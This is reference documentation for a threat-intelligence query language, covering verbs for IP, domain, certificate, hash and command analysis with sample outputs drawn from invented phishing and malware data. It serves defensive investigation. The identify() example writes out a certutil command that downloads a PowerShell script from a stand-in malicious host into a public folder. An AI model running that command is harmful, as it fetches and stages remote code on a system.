CEPLDocs Ceplin

Reference

Verbs and types

Every verb in CEPL: the types it takes, whether it makes an API call, its modes and the fields of its result. This page is generated from Ceplin's catalogue when the site is built. The examples answer from Ceplin's bundled sample data.

verbwhat it doestakescalls
abuse_reports()IP abuse reportsipAbuseIPDB
abuseipdb()IP reputationipAbuseIPDB
asn()IP to ASN (Cymru)ip, asnteam cymru
cert_lookup()Certificate by fingerprintcert_fingerprint, cert_serial, hashcrt.sh
compare()Comparedomain, hostname, url, email, text, ip, cidr, asn, hash, imphash, fuzzyhash, cert_serial, cert_fingerprint, filename, command, malware_family, taglocal
ct_logs()Certificate Transparencydomain, hostnamecertspotter
decode()Decodetext, command, url, domain, hostname, emaillocal
dns()DNS recordsdomain, hostnameresolver
encode()Encodetext, command, url, domain, hostname, email, iplocal
geo()IP geolocationipip2location.io
http()HTTP fetchurl, domain, hostname, ipthe target itself
identify()Command identifiercommandlocal
import()Import rowsfilelocal
malwarebazaar()Sample intelhashMalwareBazaar
man()Manual pagecommand, filenamelocal
otx()OTX pulsesip, domain, hostname, url, hashAlienVault OTX
parse_header()Parse headeremail_headerlocal
rdap()WHOIS / RDAPdomain, ip, cidrRDAP
resolve()Domain IP resolvehostname, domainlocal
reverse_dns()Reverse DNS (PTR)iplocal
routing()BGP routing (RIPEstat)ip, cidr, asnripestat
samples()Related samplesimphash, cert_serial, malware_family, tag, fuzzyhashMalwareBazaar
tls_cert()TLS certificate (live)domain, hostname, url, ipthe target itself
urlscan()URL scanurl, domainurlscan.io
whatis()What is this binaryfilename, command, hashlocal, or a lookup

#abuse_reports()

IP abuse reports. Takes ip. Calls: one API call per value, to AbuseIPDB. Its key is read from ABUSEIPDB_API_KEY; without it the verb answers from sample data.

Fields

Select one with [field]: .abuse_reports()[reported_at].

fieldtypewhat it holds
reported_atdate
commenttextwhat the reporter wrote
categorieslist of enumSSH, Port Scan, Brute-Force and so on
reporter_countrycountry
reporter_idint

#abuseipdb()

IP reputation. Takes ip. Calls: one API call per value, to AbuseIPDB. Its key is read from ABUSEIPDB_API_KEY; without it the verb answers from sample data. Old names, refused with this one: reputation().

CEPL
>>> "185.215.113.66".abuseipdb()
[OK] IP reputation on 185.215.113.66 via AbuseIPDB
    score:         ● 100
    total_reports: ● 1148
    isp:           Prospero OOO
    usage_type:    Data Center/Web Hosting/Transit
    country:       Russian Federation
    is_tor:        ● false
    last_reported: 2026-08-12T22:41:07+00:00

Fields

Select one with [field]: .abuseipdb()[score].

fieldtypewhat it holds
scorescoreabuse confidence 0-100
total_reportsint
domaindomainISP domain
hostnameslist of hostname
isporg
usage_typeenumdatacenter / ISP / etc
countrycountry
is_torbool
last_reporteddate

#asn()

IP to ASN (Cymru). Takes ip, asn. Calls: one API call per value, to team cymru. Old names, refused with this one: cymru().

CEPL
>>> "45.9.148.112".asn()
[OK] IP to ASN (Cymru) on 45.9.148.112 via team cymru
    asn:       AS202425
    prefix:    45.9.148.0/24
    as_name:   IPVOLUME, NL
    country:   NL
    registry:  ripencc
    allocated: 2019-06-28

Fields

Select one with [field]: .asn()[asn].

fieldtypewhat it holds
asnasn
prefixcidr
as_nameorg
countrycountry
registryenumarin / ripencc / apnic / lacnic / afrinic
allocateddate

#cert_lookup()

Certificate by fingerprint. Takes cert_fingerprint, cert_serial, hash. Calls: one API call per value, to crt.sh. Old names, refused with this one: cert_id().

CEPL
>>> "secure-login-paypa1.com".tls_cert()[fingerprint_sha256].cert_lookup()
[OK] Certificate by fingerprint on 9f2c41ab77d5e0c318b4a6f92e7d015c8ab39...bb27ce34 via crt.sh
    subject_cn: accounts-verify-paypa1.top
    sans:       accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    issuer:     R11
    serial:     04A1F2C7B93E5D6082A1B4C5D6E7F809
    not_before: 2026-07-16T09:14:00Z
    not_after:  2026-10-14T09:13:59Z
    age:        ● 113.1
    logged:     true
    entries:    2
    precert:    true
    source:     crt.sh

Fields

Select one with [field]: .cert_lookup()[subject_cn].

fieldtypewhat it holds
subject_cndomain
sanslist of domainsame shape as tls_cert() and ct_logs(), so a verb after it works over any of them
issuerorg
serialcert_serial
not_beforedate
not_afterdate
ageage
loggedboolpresent in CT at all; absence blocks trust in Chrome
entriesintCT log entries for this certificate
precertbool
sourceenum

#compare()

Compare. Takes domain, hostname, url, email, text, ip, cidr, asn, hash, imphash, fuzzyhash, cert_serial, cert_fingerprint, filename, command, malware_family, tag. Calls: none, it runs locally. Old names, refused with this one: lookalike().

Fields

Select one with [field]: .compare()[equal].

fieldtypewhat it holds
equalbool
lookalikebooldifferent, but close enough to pass for it
techniqueenumidentical, homoglyph, transposition, omission, insertion, replacement, tld swap, addition, hyphenation, subdomain or different
distanceintedits apart; swapping two neighbours is one
similarityscore0 to 100
changeslist of texteach edit, in reading order
confusableslist of textlookalike characters standing in for others
othertextthe value compared with

#ct_logs()

Certificate Transparency. Takes domain, hostname. Calls: one API call per value, to certspotter. Old names, refused with this one: ct().

CEPL
>>> "secure-login-paypa1.com".ct_logs()
[OK] Certificate Transparency on secure-login-paypa1.com via certspotter
    certificates: 4
    sans:         accounts-verify-paypa1.top cdn-telemetry.xyz mail.accounts-verify-paypa1.top secure-login-paypa1.com webmail.secure-login-paypa1.com www.secure-login-paypa1.com
    issuers:      R10 R11
    first_seen:   2026-07-09T11:02:00Z
    last_seen:    2026-07-16T09:14:00Z
    newest_age:   ● 113.1
    source:       certspotter

Fields

Select one with [field]: .ct_logs()[certificates].

fieldtypewhat it holds
certificatesintissuances found
sanslist of domainevery name across every issuance, deduplicated
issuerslist of org
first_seendateearliest issuance
last_seendatemost recent issuance
newest_ageagedays since the most recent issuance
sourceenumwhich CT service answered

#decode()

Decode. Takes text, command, url, domain, hostname, email. Calls: none, it runs locally.

CEPL
>>> "aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpbi91cGRhdGUucHMx".decode(auto)
[OK] Decode on aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpb...dGUucHMx
    http://cdn-telemetry.xyz/win/update.ps1
    text:       http://cdn-telemetry.xyz/win/update.ps1
    url:        http://cdn-telemetry.xyz/win/update.ps1
    method:     base64
    confidence: 100

Modes

One mode is required: .decode(mode).

modewhat it does
autotry every decoder that fits, two deep, and keep the most plausible result
base64Base64 (UTF-16LE text is detected and read as text)
base64_utf16leBase64 of UTF-16LE text, as powershell -EncodedCommand carries it
base32Base32
hexhex bytes, with or without 0x, \x, spaces, commas or colons
url%20-style URL encoding
gzipgzip-compressed bytes
zlibzlib-compressed bytes
inflateraw DEFLATE-compressed bytes
base58Base58 (Bitcoin alphabet), as in wallet addresses and some payload stagers
base62Base62 (0-9A-Za-z)
base45Base45 (RFC 9285), as in EU health certificates
base64urlBase64 with the - and _ alphabet
base32hexBase32 with the 0-9A-V alphabet
base85Ascii85, with or without the <~ ~> markers
binary8-bit groups of 0 and 1, any separator
octalOctal byte values, space or comma separated
decimalDecimal character codes, as in PowerShell's [char]73,[char]69
hexdumpxxd or hexdump -C output: offsets and the ASCII column are dropped
html_entity&lt; &#x41; &#65; and the other HTML entities
quoted_printable=3D-style email body encoding
unicode_escapeA, %u0041 and U+0041 escapes, surrogate pairs joined
unescape\x41, \101, \n and the other backslash escapes of C, Python and JavaScript strings
punycodexn-- domain labels to the Unicode they stand for (IDN lookalikes)
jwta JSON Web Token's header and claims (the signature is not checked)
utf16leUTF-16 little-endian bytes to text
utf16beUTF-16 big-endian bytes to text
rot13letters rotated by 13
rot47printable ASCII rotated by 47
atbashA-Z mirrored to Z-A
reversethe text backwards, as malware stores base64
a1z26numbers 1-26 to the letters A-Z
morsedots and dashes, letters split by spaces and words by / or |
brailleUnicode Braille cells to their ASCII Braille letters
xor_bruteevery single-byte XOR key tried, the most readable result kept (key shown)
base92Base92 (! # to _ a to }, ~ for empty)
netbiosa first-level encoded NetBIOS name (FEEFFDFE...) to the name
citrix_ctx1a Citrix CTX1-obfuscated password (NetScaler and StoreFront configs)
ipan IPv4 address written as one number, hex or octal (3232235777, 0xC0A80101, 0300.0250.1.1) as dotted decimal
stringsruns of four or more printable characters, one per line, as strings(1) finds them
baconA/B groups of five to letters (I=J, U=V)
fangdefanged indicators made real again: hxxp, [.], (dot), [@], [:]
strip_nullsNUL bytes removed
strip_whitespacespaces, tabs and line breaks removed
entropyShannon entropy in bits per byte: near 8 is compressed or encrypted
unix_timeseconds (or milliseconds, microseconds) since 1970 as a UTC date
filetimea Windows FILETIME (100 ns since 1601), decimal or 0x hex, as a UTC date

Fields

Select one with [field]: .decode()[text].

fieldtypewhat it holds
texttextdecoded output
urlurlURL found in the decoded output
methodenumthe operations applied
confidencescorehow strongly the output looks decoded (auto only)

#dns()

DNS records. Takes domain, hostname. Calls: one API call per value, to resolver. Old names, refused with this one: records().

CEPL
>>> "secure-login-paypa1.com".dns()
[OK] DNS records on secure-login-paypa1.com via resolver
    a:            185.215.113.66
    mx:           mail.accounts-verify-paypa1.top
    ns:           ns1.bullethost.net ns2.bullethost.net
    spf_includes: _spf.sendgrid.net
    spf_ips:      185.215.113.0/24
    dmarc_policy: none
    dmarc_rua:    dmarc@paypa1-reports.top
    caa_issuers:  letsencrypt.org
    soa_email:    admin@bullethost.net
    soa_serial:   2026071601
    txt:          v=spf1 include:_spf.sendgrid.net ip4:185.215.113.0/24 -all
                  google-site-verification=abc123

Fields

Select one with [field]: .dns()[a].

fieldtypewhat it holds
alist of ip
aaaalist of ip
mxlist of hostnamemail exchangers; no MX means no reply channel
nslist of hostnamenameserver patterns are a durable hosting tell
spf_includeslist of domaindomains the operator declares they send mail through
spf_ipslist of cidraddress space declared in SPF
dmarc_policyenumnone / quarantine / reject
dmarc_rualist of emailwhere DMARC reports go, often a real mailbox
caa_issuerslist of domainCAs permitted to issue; compare against the served certificate
soa_emailemail
soa_serialint
txtlist of textraw TXT, mostly verification noise

#encode()

Encode. Takes text, command, url, domain, hostname, email, ip. Calls: none, it runs locally.

CEPL
>>> "http://cdn-telemetry.xyz/win/update.ps1".encode(defang)
[OK] Encode on http://cdn-telemetry.xyz/win/update.ps1
    hxxp[://]cdn-telemetry[.]xyz/win/update[.]ps1
    text:   hxxp[://]cdn-telemetry[.]xyz/win/update[.]ps1
    method: defang

Modes

One mode is required: .encode(mode).

modewhat it does
base64the text as Base64
base64_utf16lethe text as powershell -EncodedCommand carries it, to search EDR and logs for a known command
base64_offsetsthe three Base64 forms the text takes inside a longer blob, one per line: search for any of them to find it encoded
base64_offsets_utf16lethe same for UTF-16LE text, to find a string inside a powershell -EncodedCommand
hexthe text as hex bytes, no separator
urlevery character but A-Z a-z 0-9 - _ . ~ percent-encoded
hexdumpthe bytes as hexdump -C shows them, for decoded output that is not text
defangURLs, domains, addresses and emails made unclickable to share: hxxps[://]example[.]com
md5the MD5 digest, as a hash to look up
sha1the SHA-1 digest, as a hash to look up
sha256the SHA-256 digest, as a hash to look up
sha512the SHA-512 digest, as a hash to look up

Fields

Select one with [field]: .encode()[text].

fieldtypewhat it holds
texttextencoded output
hashhashthe digest, for md5, sha1, sha256 and sha512
methodenumthe encoding applied

#geo()

IP geolocation. Takes ip. Calls: one API call per value, to ip2location.io. Its key is read from IP2LOCATION_API_KEY; without it the verb is refused, saying the key is not set. Old names, refused with this one: geoip(), locate().

CEPL
>>> "185.215.113.66".geo()
[OK] IP geolocation on 185.215.113.66 via ip2location.io
    country_code: NL
    country_name: Netherlands
    region_name:  North Holland
    city_name:    Amsterdam
    latitude:     52.37403
    longitude:    4.88969
    zip_code:     1012
    time_zone:    +02:00
    asn:          AS200593
    as:           PROSPERO OOO
    is_proxy:     ● true

Fields

Select one with [field]: .geo()[country_code].

fieldtypewhat it holds
country_codecountry
country_nametext
region_nametext
city_nametext
latitudetext
longitudetext
zip_codetext
time_zoneenum
asnasnthe field abuseipdb() does not emit; chains into routing()
asorgnetwork holder
is_proxyboolVPN, relay or open proxy: the address is a waypoint, not an origin

#http()

HTTP fetch. Takes url, domain, hostname, ip. Calls: one connection per value, to the host itself. Old names, refused with this one: fetch().

CEPL
>>> "secure-login-paypa1.com".http()[status, final_url, title, password_field, external_hosts]
[OK] HTTP fetch [status, final_url, title, password_field, external_hosts] on secure-login-paypa1.com via direct
    status:         200
    final_url:      https://accounts-verify-paypa1.top/login
    title:          PayPal — Verify your account
    password_field: true
    external_hosts: cdn-telemetry.xyz collector-9x2.top www.paypalobjects.com

Fields

Select one with [field]: .http()[status].

fieldtypewhat it holds
statushttp_statusis it still live
final_urlurlafter redirects
redirect_chainlist of urlevery URL in the walk, request first; off-domain hops are a phishing tell
redirectsinthop count
servertext
titletext
content_typeenummedia type, parameters stripped
content_lengthintbytes actually received
body_sha256hashover the received bytes; same kit on another domain links campaigns
ipipaddress actually connected to
cert_issuerorg
cert_sanslist of domainsibling infrastructure: the highest-value pivot here
cert_serialcert_serial
cert_ageagedays since notBefore; a 3-day-old cert on a lookalike is near-conclusive
formsint
password_fieldboolis it harvesting credentials
external_hostslist of domainhosts the markup posts or loads from
bodytextfull response body; chains into extract(), find() and the decoders

#identify()

Command identifier. Takes command. Calls: none, it runs locally. Old names, refused with this one: identify_flags(), flags().

CEPL
>>> "certutil -urlcache -split -f http://cdn-telemetry.xyz/win/update.ps1 C:\Users\Public\u.ps1".identify()
[OK] Command identifier on certutil -urlcache -split -f http://c...ic\u.ps1
    binary:         certutil.exe
    summary:        Certutil.exe is a command-line program installed as part of Certificate Services.
    flags:          -urlcache Displays or deletes URL cache entries.
                    -split Split embedded ASN.1 elements, and save to files.
                    -f Force overwrite.
    urls:           http://cdn-telemetry.xyz/win/update.ps1
    lolbas:         Download (T1105)
    sigma:          [MEDIUM] Suspicious Download Via Certutil.EXE by Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
    sigma_possible: [MEDIUM] LOLBIN Execution From Abnormal Drive by Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Angelo Violetti - SEC Consult '@angelo_violetti', Aaron Herman
    sigma_rules:    1
    level:          medium
    techniques:     T1105 Ingress Tool Transfer
                    T1027 Obfuscated Files or Information

Modes

A mode is optional: .identify() or .identify(mode).

modewhat it does
linuxread as a Linux command: shell rules, Linux pages
macosread as a macOS command: shell rules, macOS pages
windowsread as a Windows command: cmd.exe rules, Windows pages
powershellread as PowerShell: cmdlets, parameters, .NET
netscalerread as a NetScaler ADC CLI command
fortiosread as FortiOS CLI (config / edit / set)
iosxeread as Cisco IOS XE configuration
junosread as Junos configuration (set lines or the curly form)

Fields

Select one with [field]: .identify()[binary].

fieldtypewhat it holds
binaryfilename
platformtextthe CLI the line is read as when it is not a Unix or Windows program (NetScaler ADC CLI, FortiOS CLI, FortiOS event log, Cisco IOS XE CLI, Junos CLI)
matchtexta caveat on the reading: "by name only" when the program's options reference documents none of the options given
subcommandtext
summarytext
processeslist of textevery process the text would start, wrappers and chains included
explainedlist of texteach part of a PowerShell command: cmdlets, parameters, .NET calls
decodedcommandthe script under -EncodedCommand
deobfuscatedcommandthe script with backticks in words and split strings undone
endpointslist of texthost:port pairs a TCP client is opened to
urlslist of urladdresses in the command
flagslist of texteach option and what it does
lolbaslist of enumLOLBAS abuse this command line matches
gtfobinslist of enumGTFOBins functions this command line matches
sigmalist of textSigma rules it trips: title, level, author
sigma_possiblelist of textrules it trips unless the parent process, user or folder (which a command line cannot show) rules it out
sigma_rulesint
levelenumthe highest Sigma level matched
techniqueslist of textMITRE ATT&CK ids

#import()

Import rows. Takes file. Calls: none, it runs locally.

#malwarebazaar()

Sample intel. Takes hash. Calls: one API call per value, to MalwareBazaar. Its key is read from MALWAREBAZAAR_API_KEY; without it the verb answers from sample data.

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()
[OK] Sample intel on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar
    md5 (bare hex of digest length; could be hex data - override available)
    sha256:          b4c9e2a7f0d81135c66aa2e94b7d30f8a1c5e6d2b9f04a7c8e1d3f5a6b7c8d90
    md5:             9a1b6f0c33e51d2a48b7e90d1c2f4a55
    sha1:            3f8e2c1a9b7d6e5f4a3c2b1d0e9f8a7b6c5d4e3f
    signature:       AgentTesla
    imphash:         2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6
    cert_serial:     3A9F00C21B7D4E85A6F1029384756ABC
    cert_subject:    Hangzhou Ledong Network Technology Co., Ltd.
    cscb_listed:     true
    tags:            AgentTesla exe TA558
    yara_rules:      win_agenttesla_v4
    file_name:       PO-8823_shipping.exe
    file_type:       exe
    first_seen:      2026-07-19 06:12:44
    last_seen:       2026-07-21 03:55:10
    delivery_method: email_attachment

Fields

Select one with [field]: .malwarebazaar()[sha256].

fieldtypewhat it holds
sha256hash
md5hash
sha1hash
signaturemalware_familymalware family
imphashimphashshared import table
ssdeepfuzzyhash
tlshfuzzyhash
cert_serialcert_serialcode-signing serial
cert_subjectorg
cscb_listedboolcert on the blocklist
tagslist of tag
yara_ruleslist of yara_rule
file_namefilename
file_typeenum
first_seendate
last_seendate
delivery_methodenum

#man()

Manual page. Takes command, filename. Calls: none, it runs locally.

CEPL
>>> "tar".man()[synopsis]
[OK] Manual page [synopsis] on tar
    [tar [-cxt] [-fvohmjkOS] [-XTCf NAME] [--selinux] [FILE...]]

Fields

Select one with [field]: .man()[name].

fieldtypewhat it holds
nametext
platformenum
synopsislist of text
descriptiontext
optionslist of texteach option and its description
exampleslist of commandexample command lines
see_alsolist of text
sourcetextwhich manual this is
pagetextthe whole page, laid out as a manual

#otx()

OTX pulses. Takes ip, domain, hostname, url, hash. Calls: one API call per value, to AlienVault OTX. A key in OTX_API_KEY is optional: AlienVault OTX answers without one. Old names, refused with this one: alienvault().

Fields

Select one with [field]: .otx()[pulse_count].

fieldtypewhat it holds
pulse_countintOTX pulses that name it
pulseslist of textthe pulses' names, newest first
tagslist of tag
malware_familieslist of malware_family
adversarieslist of text
referenceslist of url
countrycountry
asnasn
last_pulsedatewhen the newest pulse was changed
whitelistedboolOTX lists it as known good

#parse_header()

Parse header. Takes email_header. Calls: none, it runs locally.

Fields

Select one with [field]: .parse_header()[from].

fieldtypewhat it holds
fromemail
return_pathemailenvelope sender; a mismatch with From is a tell
toemail
subjecttext
datedate
message_idtext
originating_ipipX-Originating-IP or the first public IP in the Received chain
received_hopsint
auth_resultstextSPF/DKIM/DMARC verdicts

#rdap()

WHOIS / RDAP. Takes domain, ip, cidr. Calls: one API call per value, to RDAP. Old names, refused with this one: whois().

CEPL
>>> "secure-login-paypa1.com".rdap()
[OK] WHOIS / RDAP on secure-login-paypa1.com via RDAP
    age:                   ● 113.7
    registered:            2026-07-15T18:20:31.000Z
    registrar:             NameSilo, LLC
    registrar_abuse_email: abuse@namesilo.com
    nameservers:           ns1.bullethost.net ns2.bullethost.net
    status:                active
    dnssec:                false

Fields

Select one with [field]: .rdap()[age].

fieldtypewhat it holds
ageagedays since registration (for domain, hostname, url)
registereddate(for domain, hostname, url)
expiresdate(for domain, hostname, url)
registrarorg(for domain, hostname, url)
registrar_abuse_emailemailtakedown contact (for domain, hostname, url)
nameserverslist of hostname(for domain, hostname, url)
statuslist of enum(for domain, hostname, url)
dnssecbool(for domain, hostname, url)
registrant_emailemailusually redacted (for domain, hostname, url)
net_rangetextallocated address range (for ip, cidr, asn)
net_nametext(for ip, cidr, asn)
net_typeenumallocation type (for ip, cidr, asn)
cidrcidr(for ip, cidr, asn)
asnasnoriginating AS (for ip, cidr, asn)
orgorg(for ip, cidr, asn)
countrycountry(for ip, cidr, asn)
abuse_emailemailnetwork abuse contact (for ip, cidr, asn)

#resolve()

Domain IP resolve. Takes hostname, domain. Calls: none, it runs locally. Old names, refused with this one: dns_resolve().

CEPL
>>> "cdn-telemetry.xyz".resolve()
[OK] Domain IP resolve on cdn-telemetry.xyz
    ip: 45.9.148.112

Fields

Select one with [field]: .resolve()[ip].

fieldtypewhat it holds
ipip

#reverse_dns()

Reverse DNS (PTR). Takes ip. Calls: none, it runs locally. Old names, refused with this one: ptr().

CEPL
>>> "45.9.148.112".reverse_dns()
[OK] Reverse DNS (PTR) on 45.9.148.112
    hostname: unassigned.ipvolume.net

Fields

Select one with [field]: .reverse_dns()[hostname].

fieldtypewhat it holds
hostnamehostname

#routing()

BGP routing (RIPEstat). Takes ip, cidr, asn. Calls: one API call per value, to ripestat. Old names, refused with this one: bgp().

CEPL
>>> "185.215.113.66".routing()
[OK] BGP routing (RIPEstat) on 185.215.113.66 via ripestat
    prefix:           185.215.113.0/24
    origin_asn:       AS200593
    holder:           PROSPERO-AS
    announced:        true
    neighbours:       AS9009 AS49666 AS207137
    related_prefixes: 185.215.112.0/24 185.215.113.0/24 45.9.148.0/24
    first_seen:       2024-11-02T00:00:00
    last_seen:        2026-08-13T08:00:00

Fields

Select one with [field]: .routing()[prefix].

fieldtypewhat it holds
prefixcidrthe announced prefix, often longer than the registered one
origin_asnasn
holderorg
announcedboolfalse is a finding: registered but dark
neighbourslist of asn
related_prefixeslist of cidrother space the same origin announces
first_seendate
last_seendate

#samples()

Related samples. Takes imphash, cert_serial, malware_family, tag, fuzzyhash. Calls: one API call per value, to MalwareBazaar. Its key is read from MALWAREBAZAAR_API_KEY; without it the verb answers from sample data.

CEPL
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples()[file_name, first_seen]
[OK] Related samples [file_name, first_seen] on 3 imphashes via MalwareBazaar
    imphash                           file_name              first_seen
    ────────────────────────────────────────────────────────────────────────────
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  PO-8823_shipping.exe   2026-07-19 06:12:44
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  Invoice_June_2026.exe  2026-06-30 11:02:19
    2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6  swift_copy.exe         2026-03-04 09:47:33

Fields

Select one with [field]: .samples()[sha256].

fieldtypewhat it holds
sha256hash
md5hash
sha1hash
signaturemalware_familymalware family
imphashimphashshared import table
ssdeepfuzzyhash
tlshfuzzyhash
cert_serialcert_serialcode-signing serial
cert_subjectorg
cscb_listedboolcert on the blocklist
tagslist of tag
yara_ruleslist of yara_rule
file_namefilename
file_typeenum
first_seendate
last_seendate
delivery_methodenum

#tls_cert()

TLS certificate (live). Takes domain, hostname, url, ip. Calls: one connection per value, to the host itself. Old names, refused with this one: cert().

CEPL
>>> "secure-login-paypa1.com".tls_cert()
[OK] TLS certificate (live) on secure-login-paypa1.com via direct
    subject_cn:         accounts-verify-paypa1.top
    sans:               accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top
    issuer:             R11
    serial:             04A1F2C7B93E5D6082A1B4C5D6E7F809
    fingerprint_sha256: 9f2c41ab77d5e0c318b4a6f92e7d015c8ab394ff2016d7cbe5a41d90bb27ce34
    not_before:         2026-07-16T09:14:00Z
    not_after:          2026-10-14T09:13:59Z
    age:                ● 113.1
    expires_in:         62
    trusted:            true
    self_signed:        false
    chain_length:       2
    key_algo:           ECDSA-P-256
    sig_algo:           SHA256-RSA
    served_ip:          185.215.113.66

Fields

Select one with [field]: .tls_cert()[subject_cn].

fieldtypewhat it holds
subject_cndomaincommon name on the served cert
sanslist of domainsibling infrastructure on the same certificate
issuerorg
serialcert_serial
fingerprint_sha256cert_fingerprintidentifies this exact certificate wherever else it is served
not_beforedate
not_afterdate
ageagedays since issue; a 3-day-old cert on a lookalike is near-conclusive
expires_inintdays remaining; negative if already expired
trustedbooldoes it verify against the system roots
self_signedbool
chain_lengthint
key_algoenum
sig_algoenum
served_ipipaddress the handshake reached

#urlscan()

URL scan. Takes url, domain. Calls: one API call per value, to urlscan.io.

CEPL
>>> "secure-login-paypa1.com".urlscan()
[OK] URL scan on secure-login-paypa1.com via urlscan.io
    final_url:   https://accounts-verify-paypa1.top/login
    ip:          185.215.113.66
    asn:         AS200593
    domain:      accounts-verify-paypa1.top
    apex_domain: accounts-verify-paypa1.top
    age:         ● 6
    redirected:  off-domain
    status:      200
    title:       PayPal - Verify your account
    server:      nginx
    country:     RU
    screenshot:  https://urlscan.io/screenshots/019f88a1.png

Fields

Select one with [field]: .urlscan()[final_url].

fieldtypewhat it holds
final_urlurlpost-redirect landing page
ipip
asnasnemit-only until a BGP source is added
domaindomain
apex_domaindomain
ageagedomain age in days
redirectedenumoff-domain is a phishing tell
statushttp_status
titletext
servertext
countrycountry
screenshotimage

#whatis()

What is this binary. Takes filename, command, hash. Calls: a lookup for some values and none for others. Old names, refused with this one: hashlookup(), knownfile().

CEPL
>>> "rundll32.exe".whatis()
[OK] What is this binary on rundll32.exe
    name:        rundll32.exe
    kind:        executable
    platforms:   windows
    description: Windows host process (Rundll32)
    product:     Microsoft Windows Operating System
    company:     Microsoft Corporation
    paths:       C:\Windows\system32\ C:\Windows\SysWOW64\
    signer:      Microsoft Windows
    lolbas:      Execute ADS
    techniques:  T1218.011 T1564.004
    sigma_rules: 138
    links:       https://lolbas-project.github.io/lolbas/OSBinaries/Rundll32/
    sources:     lolbas xcyclopedia

Modes

A mode is optional: .whatis() or .whatis(mode).

modewhat it does
linuxread as a Linux command: shell rules, Linux pages
macosread as a macOS command: shell rules, macOS pages
windowsread as a Windows command: cmd.exe rules, Windows pages
powershellread as PowerShell: cmdlets, parameters, .NET
netscalerread as a NetScaler ADC CLI command
fortiosread as FortiOS CLI (config / edit / set)
iosxeread as Cisco IOS XE configuration
junosread as Junos configuration (set lines or the curly form)

Fields

Select one with [field]: .whatis()[name].

fieldtypewhat it holds
namefilename
kindenumexecutable / library / driver / script / program
platformslist of enum
descriptiontextthe file's own version-info description
summarytextwhat the command does (tldr-pages)
producttext
companyorg
original_namefilenamethe name it was built as, when it differs
pathslist of textfolders it was seen in
signerorg
exampleslist of commandexample command lines (tldr-pages)
lolbaslist of enumLOLBAS abuse categories
gtfobinslist of enumGTFOBins functions
driverenumvulnerable driver / malicious (LOLDrivers)
rmmtextremote-management tool (LOLRMM)
techniqueslist of textMITRE ATT&CK ids
sigma_rulesintSigma rules that name it
linkslist of text
sourceslist of text
matchtextwhich known copy the hash is (for hash)
versiontext(for hash)
signedbool(for hash)
packagetextthe Linux package it ships in (CIRCL) (for hash)
ostextthe operating system it belongs to (NSRL) (for hash)
trustscoreCIRCL's 0-100: 50 unknown, higher when seen in more places (for hash)
known_maliciouslist of textsources that also call it malicious (for hash)

#Types

Every artefact has a type, recognised from the value, and a verb lists the types it takes. These are the types you can write between the quotes, and the verbs that take each one directly.

typefor exampletaken by
ip"203.0.113.7"abuse_reports(), abuseipdb(), asn(), compare(), encode(), geo(), http(), otx(), rdap(), reverse_dns(), routing(), tls_cert()
cidr"198.51.100.0/24"compare(), rdap(), routing()
domain"sus-domain.com"compare(), ct_logs(), decode(), dns(), encode(), http(), otx(), rdap(), resolve(), tls_cert(), urlscan()
url"https://sus-domain.com/login"compare(), decode(), encode(), http(), otx(), tls_cert(), urlscan()
email"info@sus-domain.com"compare(), decode(), encode()
asn"AS64500"asn(), compare(), routing()
hash"44d88612fea8a8f36de82e1278abb02f"compare(), malwarebazaar(), otx(), whatis()
command"whoami /all"compare(), decode(), encode(), identify(), man(), whatis()
filename"rundll32.exe"compare(), man(), whatis()
text"eC5jb20="compare(), decode(), encode()
file"proxy.csv"import()
email_headera whole email header, pastedparse_header()
hostnamea host namecompare(), ct_logs(), decode(), dns(), encode(), http(), otx(), resolve(), tls_cert()
imphasha PE import hashcompare(), samples()
cert_fingerprinta certificate fingerprintcert_lookup(), compare()
cert_seriala certificate serialcert_lookup(), compare(), samples()
malware_familya malware familycompare(), samples()
taga sample's tagcompare(), samples()

Values inside results have types too: org, country, score, age (in days), date, int, bool and http_status. That is how a filter compares a date as a date and a score as a number (9.1).

#Structural verbs

These work on the results of any verb. They narrow, order, group and count what the line has so far, and make no API calls.

verbwhat it does
filter()keep results matching a condition
find()grep: text, /regex/, or a shape like domain
uniq()drop duplicates
sort()order by fields: sort(score desc)
group()one row per value, with a count: group(country)
max()the highest of a field: max(score)
min()the lowest of a field: min(last_reported)
sum()a field added up: sum(total_reports)
avg()a field's average: avg(score)
count()how many results
limit()cap the number shown
first()the first n
last()the last n

They are described in full in the reference: Narrowing and counting.